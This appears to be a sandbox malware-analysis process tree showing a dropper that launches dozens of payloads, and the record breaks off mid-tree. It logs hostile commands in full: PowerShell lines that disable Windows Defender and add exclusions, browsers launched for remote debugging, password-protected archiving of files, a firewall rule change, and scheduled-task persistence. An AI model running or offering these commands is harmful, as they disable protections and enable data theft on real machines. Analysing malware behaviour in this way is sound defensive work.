        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2220,i,9774940444670258403,12290338603977143614,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=2216 /prefetch:8
        7⤵
        
        PID:12844
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3140,i,9774940444670258403,12290338603977143614,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=3152 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:10848
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3192,i,9774940444670258403,12290338603977143614,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=3176 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:11528
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4472,i,9774940444670258403,12290338603977143614,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=4444 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:13288
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4728,i,9774940444670258403,12290338603977143614,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=4760 /prefetch:8
        7⤵
        
        PID:10332
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        6⤵
        Uses browser remote debugging
        
        PID:11768
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff8eba43cb8,0x7ff8eba43cc8,0x7ff8eba43cd8
        7⤵
        
        PID:12944
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2016 /prefetch:2
        7⤵
        
        PID:13076
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 /prefetch:3
        7⤵
        
        PID:10364
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2560 /prefetch:8
        7⤵
        
        PID:11924
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3268 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:5560
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:9860
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4396 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:8100
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4436 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:7592
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2300 /prefetch:2
        7⤵
        
        PID:11548
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=4564 /prefetch:2
        7⤵
        
        PID:11980
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=4688 /prefetch:2
        7⤵
        
        PID:12320
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=5068 /prefetch:2
        7⤵
        
        PID:2088
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3864 /prefetch:2
        7⤵
        
        PID:12564
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\CBGCBKFBGIII" & exit
        6⤵
        
        PID:10280
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        7⤵
        Delays execution with timeout.exe
        
        PID:2080
    - - C:\Users\Admin\Desktop\Files\cayV0Deo9jSt417.exe
        
        "C:\Users\Admin\Desktop\Files\cayV0Deo9jSt417.exe"
        5⤵
        
        PID:2428
      - C:\Windows\SysWOW64\clip.exe
        
        "C:\Windows\SysWOW64\clip.exe"
        6⤵
        
        PID:11472
    - - C:\Users\Admin\Desktop\Files\mimilove.exe
        
        "C:\Users\Admin\Desktop\Files\mimilove.exe"
        5⤵
        
        PID:13024
    - - C:\Users\Admin\Desktop\Files\cabal.exe
        
        "C:\Users\Admin\Desktop\Files\cabal.exe"
        5⤵
        
        PID:9568
      - C:\Users\Admin\Desktop\Files\update.exe
        
        "C:\Users\Admin\Desktop\Files\update.exe" mmoparadox
        6⤵
        
        PID:9776
    - - C:\Users\Admin\Desktop\Files\Mswgoudnv.exe
        
        "C:\Users\Admin\Desktop\Files\Mswgoudnv.exe"
        5⤵
        
        PID:10980
    - - C:\Users\Admin\Desktop\Files\Krishna33.exe
        
        "C:\Users\Admin\Desktop\Files\Krishna33.exe"
        5⤵
        
        PID:10920
    - - C:\Users\Admin\Desktop\Files\Autoupdate.exe
        
        "C:\Users\Admin\Desktop\Files\Autoupdate.exe"
        5⤵
        
        PID:12784
      - C:\Users\Admin\AppData\Roaming\icsys.ico.exe
        
        C:\Users\Admin\AppData\Roaming\icsys.ico.exe
        6⤵
        
        PID:9716
    - - C:\Users\Admin\Desktop\Files\Clientssss.exe
        
        "C:\Users\Admin\Desktop\Files\Clientssss.exe"
        5⤵
        
        PID:10928
    - - C:\Users\Admin\Desktop\Files\ven_protected.exe
        
        "C:\Users\Admin\Desktop\Files\ven_protected.exe"
        5⤵
        
        PID:8704
    - - C:\Users\Admin\Desktop\Files\bwapp.exe
        
        "C:\Users\Admin\Desktop\Files\bwapp.exe"
        5⤵
        
        PID:8508
    - - C:\Users\Admin\Desktop\Files\tn8cdkzn.exe
        
        "C:\Users\Admin\Desktop\Files\tn8cdkzn.exe"
        5⤵
        
        PID:11816
    - - C:\Users\Admin\Desktop\Files\pyld611114.exe
        
        "C:\Users\Admin\Desktop\Files\pyld611114.exe"
        5⤵
        
        PID:5500
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      PID:6336
    - - C:\Users\Admin\Desktop\Files\248364651.exe
        
        "C:\Users\Admin\Desktop\Files\248364651.exe"
        5⤵
        
        PID:6224
      - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\c13606fe9009f11d\setup.msi"
        6⤵
        
        PID:7892
    - - C:\Users\Admin\Desktop\Files\new_v8.exe
        
        "C:\Users\Admin\Desktop\Files\new_v8.exe"
        5⤵
        
        PID:6220
    - - C:\Users\Admin\Desktop\Files\tpeinf.exe
        
        "C:\Users\Admin\Desktop\Files\tpeinf.exe"
        5⤵
        
        PID:4572
    - - C:\Users\Admin\Desktop\Files\Built.exe
        
        "C:\Users\Admin\Desktop\Files\Built.exe"
        5⤵
        
        PID:3900
      - C:\Users\Admin\Desktop\Files\Built.exe
        
        "C:\Users\Admin\Desktop\Files\Built.exe"
        6⤵
        
        PID:3252
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\Built.exe'"
        7⤵
        
        PID:1784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\Built.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4980
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        7⤵
        
        PID:8144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI39002\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\lFFWJ.zip" *"
        7⤵
        
        PID:4100
        
        C:\Users\Admin\AppData\Local\Temp\_MEI39002\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI39002\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\lFFWJ.zip" *
        8⤵
        
        PID:8424
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        7⤵
        
        PID:9848
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        8⤵
        
        PID:9024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        7⤵
        
        PID:2936
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        8⤵
        
        PID:9756
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        7⤵
        
        PID:8620
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        8⤵
        
        PID:9608
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        7⤵
        
        PID:6168
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9596
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:7184
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:1692
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        7⤵
        
        PID:7960
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        8⤵
        
        PID:5864
    - - C:\Users\Admin\Desktop\Files\RambledMime.exe
        
        "C:\Users\Admin\Desktop\Files\RambledMime.exe"
        5⤵
        
        PID:8868
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:8400
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:6348
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:5220
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:9924
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:8836
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:8892
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:9648
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:10088
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        7⤵
        
        PID:9648
    - - C:\Users\Admin\Desktop\Files\PCclear_Eng_mini.exe
        
        "C:\Users\Admin\Desktop\Files\PCclear_Eng_mini.exe"
        5⤵
        
        PID:8372
    - - C:\Users\Admin\Desktop\Files\ZZZ.exe
        
        "C:\Users\Admin\Desktop\Files\ZZZ.exe"
        5⤵
        
        PID:7956
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7956 -s 448
        6⤵
        Program crash
        
        PID:8940
    - - C:\Users\Admin\Desktop\Files\m.exe
        
        "C:\Users\Admin\Desktop\Files\m.exe"
        5⤵
        
        PID:7584
    - - C:\Users\Admin\Desktop\Files\PctOccurred.exe
        
        "C:\Users\Admin\Desktop\Files\PctOccurred.exe"
        5⤵
        
        PID:9976
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k move Powell Powell.cmd & Powell.cmd & exit
        6⤵
        
        PID:8988
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:2684
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        7⤵
        
        PID:3052
    - - C:\Users\Admin\Desktop\Files\trojan.exe
        
        "C:\Users\Admin\Desktop\Files\trojan.exe"
        5⤵
        
        PID:9984
      - C:\Users\Admin\AppData\Roaming\server.exe
        
        "C:\Users\Admin\AppData\Roaming\server.exe"
        6⤵
        
        PID:4980
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe" "server.exe" ENABLE
        7⤵
        Modifies Windows Firewall
        
        PID:2280
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall delete allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe"
        7⤵
        Modifies Windows Firewall
        
        PID:9920
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe" "server.exe" ENABLE
        7⤵
        Modifies Windows Firewall
        
        PID:7448
    - - C:\Users\Admin\Desktop\Files\payload.exe
        
        "C:\Users\Admin\Desktop\Files\payload.exe"
        5⤵
        
        PID:2724
    - - C:\Users\Admin\Desktop\Files\contorax.exe
        
        "C:\Users\Admin\Desktop\Files\contorax.exe"
        5⤵
        
        PID:8860
      - C:\ProgramData\Microsoft Subsystem Framework\winmsbt.exe
        
        "C:\ProgramData\Microsoft Subsystem Framework\winmsbt.exe"
        6⤵
        
        PID:7416
    - - C:\Users\Admin\Desktop\Files\surfex.exe
        
        "C:\Users\Admin\Desktop\Files\surfex.exe"
        5⤵
        
        PID:7172
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:1472
    - - C:\Users\Admin\Desktop\Files\123.exe
        
        "C:\Users\Admin\Desktop\Files\123.exe"
        5⤵
        
        PID:6232
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        
        PID:2240
    - - C:\Users\Admin\Desktop\Files\main.exe
        
        "C:\Users\Admin\Desktop\Files\main.exe"
        5⤵
        
        PID:7708
      - C:\Users\Admin\Desktop\Files\main.exe
        
        "C:\Users\Admin\Desktop\Files\main.exe"
        6⤵
        
        PID:1476
    - - C:\Users\Admin\Desktop\Files\Vn70wVxW.exe
        
        "C:\Users\Admin\Desktop\Files\Vn70wVxW.exe"
        5⤵
        
        PID:3016
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:6596
    - - C:\Users\Admin\Desktop\Files\random.exe
        
        "C:\Users\Admin\Desktop\Files\random.exe"
        5⤵
        
        PID:1604
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:10308
    - - C:\Users\Admin\Desktop\Files\broadcom5.exe
        
        "C:\Users\Admin\Desktop\Files\broadcom5.exe"
        5⤵
        
        PID:240
      - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        6⤵
        
        PID:7304
    - - C:\Users\Admin\Desktop\Files\23c2343.exe
        
        "C:\Users\Admin\Desktop\Files\23c2343.exe"
        5⤵
        
        PID:10124
    - - C:\Users\Admin\Desktop\Files\Meeting.exe
        
        "C:\Users\Admin\Desktop\Files\Meeting.exe"
        5⤵
        
        PID:7492
      - C:\Users\Admin\AppData\Local\Temp\RarSFX3\Icon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\Icon.exe"
        6⤵
        
        PID:10168
    - - C:\Users\Admin\Desktop\Files\88851n80.exe
        
        "C:\Users\Admin\Desktop\Files\88851n80.exe"
        5⤵
        
        PID:7056
      - C:\Users\Admin\AppData\Local\WahhVasyaa\88851n80.exe
        
        "C:\Users\Admin\AppData\Local\WahhVasyaa\88851n80.exe"
        6⤵
        
        PID:5800
    - - C:\Users\Admin\Desktop\Files\tdrp.exe
        
        "C:\Users\Admin\Desktop\Files\tdrp.exe"
        5⤵
        
        PID:10860
    - - C:\Users\Admin\Desktop\Files\golden.exe
        
        "C:\Users\Admin\Desktop\Files\golden.exe"
        5⤵
        
        PID:1484
      - C:\Users\Admin\Desktop\Files\golden.exe
        
        "C:\Users\Admin\Desktop\Files\golden.exe"
        6⤵
        
        PID:10808
    - - C:\Users\Admin\Desktop\Files\Client-built.exe
        
        "C:\Users\Admin\Desktop\Files\Client-built.exe"
        5⤵
        
        PID:10176
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java updater" /sc ONLOGON /tr "C:\Users\Admin\Desktop\Files\Client-built.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10636
    - - C:\Users\Admin\Desktop\Files\creal.exe
        
        "C:\Users\Admin\Desktop\Files\creal.exe"
        5⤵
        
        PID:13068
      - C:\Users\Admin\Desktop\Files\creal.exe
        
        "C:\Users\Admin\Desktop\Files\creal.exe"
        6⤵
        
        PID:10508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        7⤵
        
        PID:7216
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:2216
    - - C:\Users\Admin\Desktop\Files\Utility.exe
        
        "C:\Users\Admin\Desktop\Files\Utility.exe"
        5⤵
        
        PID:4216
    - - C:\Users\Admin\Desktop\Files\aaa.exe
        
        "C:\Users\Admin\Desktop\Files\aaa.exe"
        5⤵
        
        PID:9664
    - - C:\Users\Admin\Desktop\Files\svc.exe
        
        "C:\Users\Admin\Desktop\Files\svc.exe"
        5⤵
        
        PID:9472
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\detailcompetitive.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\detailcompetitive.exe
        6⤵
        
        PID:12632
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        7⤵
        
        PID:10376
    - - C:\Users\Admin\Desktop\Files\out.exe
        
        "C:\Users\Admin\Desktop\Files\out.exe"
        5⤵
        
        PID:7848
    - - C:\Users\Admin\Desktop\Files\4.exe
        
        "C:\Users\Admin\Desktop\Files\4.exe"
        5⤵
        
        PID:11720
    - - C:\Users\Admin\Desktop\Files\wwbizsrvs.exe
        
        "C:\Users\Admin\Desktop\Files\wwbizsrvs.exe"
        5⤵
        
        PID:9288
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      PID:7328
    - - C:\Users\Admin\Desktop\Files\pp.exe
        
        "C:\Users\Admin\Desktop\Files\pp.exe"
        5⤵
        
        PID:5456
    - - C:\Users\Admin\Desktop\Files\OneDrive.exe
        
        "C:\Users\Admin\Desktop\Files\OneDrive.exe"
        5⤵
        
        PID:7660
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
